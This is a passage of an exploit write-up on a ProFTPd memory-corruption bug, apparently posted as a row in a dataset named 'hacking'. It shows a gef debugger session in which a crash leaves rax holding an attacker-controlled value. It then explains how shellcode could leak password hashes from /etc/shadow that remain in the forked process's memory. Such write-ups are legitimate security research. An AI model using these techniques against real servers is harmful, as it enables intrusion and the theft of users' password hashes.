Datasets:
Devilishcode
/
hacking

Dataset card Data Studio Files
xet
 Community
text
stringlengths
0
1.99k
----[ 6.2 - Using the stack
In addition, another exploitation strategy could arise when idx==6 in
pr_table_kget() function. This creates an opportunity to control the
value of rax:
gef➤ p p->last=0x7fffffffd990
gef➤ dprintf table.c:588, "table2: pr_table_kget: idx==%d\n", (int)idx
gef➤ c 6
Will ignore next 5 crossings of breakpoint 1. Continuing.
table2: pr_table_kget: idx==3
table2: pr_table_kget: idx==3
table2: pr_table_kget: idx==6
Thread 20.1 "proftpd" received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$rax : 0x4444444444444444 ("DDDDDDDD"?)
$rbx : 0x000055555567aac0 → 0x0000000000000002
$rcx : 0x8
$rdx : 0x00005555556d1530 → 0x00005555556d1510 → 0x00005555556d1730
$rsp : 0x00007fffffffd890 → 0x0000000000000000
$rbp : 0x00007fffffffd8d0 → 0x00007fffffffd910 → 0x00007fffffffd960
$rsi : 0x10
$rdi : 0x0
$rip : 0x000055555557ac39 → <pr_table_kget+459>
$r8 : 0x56a
$r9 : 0x0000555555674dc0 → 0x0000000000000001
$r10 : 0x00007ffff7eff040 → 0x0000000000000000
$r11 : 0x9
$r12 : 0x00007fffffffe3f8 → 0x00007fffffffe68d
$r13 : 0x00005555555734ea → <main+0> endbr64
$r14 : 0x0
$r15 : 0x00007ffff7ffbc40 → 0x00050f0f00000000
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd890│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffd898│+0x0008: 0x0000000000000010
0x00007fffffffd8a0│+0x0010: 0x00005555556455cc → "displayable-str"
0x00007fffffffd8a8│+0x0018: 0x00005555556d5f28 → 0x00005555556d5ee0
0x00007fffffffd8b0│+0x0020: 0x0000002800000000
0x00007fffffffd8b8│+0x0028: 0x00000006147a3d16
0x00007fffffffd8c0│+0x0030: 0x0000555555712990 → 0x4444444444444444
0x00007fffffffd8c8│+0x0038: 0x4444444444444444
────────────────────────────────────────────────────────── code:x86:64 ────
0x55555557ac2c <pr_table_kget+446> mov QWORD PTR [rbp-0x8], rax
0x55555557ac30 <pr_table_kget+450> jmp 0x55555557acf0 <pr_table_kget+642>
0x55555557ac35 <pr_table_kget+455> mov rax, QWORD PTR [rbp-0x8]
→ 0x55555557ac39 <pr_table_kget+459> mov rax, QWORD PTR [rax+0x18]
0x55555557ac3d <pr_table_kget+463> test rax, rax
0x55555557ac40 <pr_table_kget+466> je 0x55555557ace4 <pr_table_kget+630>
0x55555557ac46 <pr_table_kget+472> mov rax, QWORD PTR [rbp-0x8]
0x55555557ac4a <pr_table_kget+476> mov rax, QWORD PTR [rax+0x18]
0x55555557ac4e <pr_table_kget+480> mov eax, DWORD PTR [rax+0x18]
─────────────────────────────────────────────────── source:table.c+600 ────
595 errno = ENOENT;
596 return NULL;
597 }
598
599 for (ent = head; ent; ent = ent->next) {
// ent=0x00007fffffffd8c8 → 0x4444444444444444
→ 600 if (ent->key == NULL ||
601 ent->key->hash != h) {
602 continue;
603 }
604
───────────────────────────────────────────────────────────────────────────
gef➤
Someone might try this approach instead. The good thing is, you'll need to
predict less memory addresses.
----[ 6.3 - Leaking /etc/shadow
Despite the fact that exploiting this bug turned out to be challenging,
it also revealed some other interesting exploitation strategies, like the
possibility of reading /etc/shadow content (at least partially).
ProFTPd make use of libc getspnam(), this function first malloc() space on
the heap and then calls getspnam_r (in fact the call is to __getspnam_r()),
so the buffer is not controlled by ProFTPd, and libc does not clean/free
either.
Initially, when ProFTPd main daemon receives a connection, it fork()s and
the execution continues within the child process. After user logs in and
begins a FTP session, the process is chown()ed to equivalent user, so every
action (e.g. upload file) taken is on behalf of the logged user. However,
it does not zero out the libc memory areas before forking. As a result, any
exploitable flaw would allow memory inspection. An example of this is the
possibility to leak root or other user's password cryptogram from the
/etc/shadow file, which was read, and the content is still there in memory.
libc getspnam() or __getspnam_r() does not free malloc()ed memory after
retrieving the user's password - which might by ok for performance reasons.
Turns out that we can create shellcode to retrieve other users shadow
password from our forked process (instead of execve() a shell).
In main.c:2589 the code mentions closing the file descriptors, but doesn't
pay attention to bzero()ing the memory where the file's content was stored.